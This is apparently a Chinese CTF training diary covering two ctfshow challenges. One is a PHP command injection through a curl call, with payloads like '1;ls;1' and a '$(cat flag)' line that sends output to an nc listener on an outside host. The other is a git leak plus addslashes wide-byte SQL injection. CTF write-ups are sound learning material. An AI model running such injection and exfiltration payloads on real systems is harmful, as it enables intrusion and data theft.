CTF训练日记1--ctfshow萌赛

签到题

<?php 
if(isset($_GET['url'])){
   
        system("curl https://".$_GET['url'].".ctf.show");
}else{
   
        show_source(__FILE__);
}
 ?>

这个题,比较简单,直接使用分号,执行多个命令来绕过

payload:
1;ls;1
可以再次回顾一下,||,&&,&,|,;的作用

Linux的特殊符号
想法2:
其实这个题,看到curl,我想到了用反弹shell

?url=xxxx:10000?p=$(ls);1
?url=xxxx:10000?p=$(cat flag);1

nc -lvvp 10000
但是监听端口后,出现一堆乱码,我就不知道咋做了。
关于$()实现命令执行

给她

dirsearch扫描,发现git泄露
GitHack扫描
找到hint.php

<?php
$pass=sprintf("and pass='%s'",addslashes($_GET['pass']));
$sql=sprintf("select * from user where name='%s' $pass",addslashes($_GET['name']));
?>

看到addslashes,是个宽字节注入
这个函数是在单引号(’)、双引号(")、反斜线(\)与 NUL(null 字符)前加反斜杠。

这儿有个sprintf,不会输出,而是将格式化的字符串存入变量。

sprintf() 函数把格式化的字符串写入变量中。
arg1、arg2、++ 参数将被插入到主字符串中的百分号(%)符号处。该函数是逐步执行的。在第一个 % 符号处,插入 arg1
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值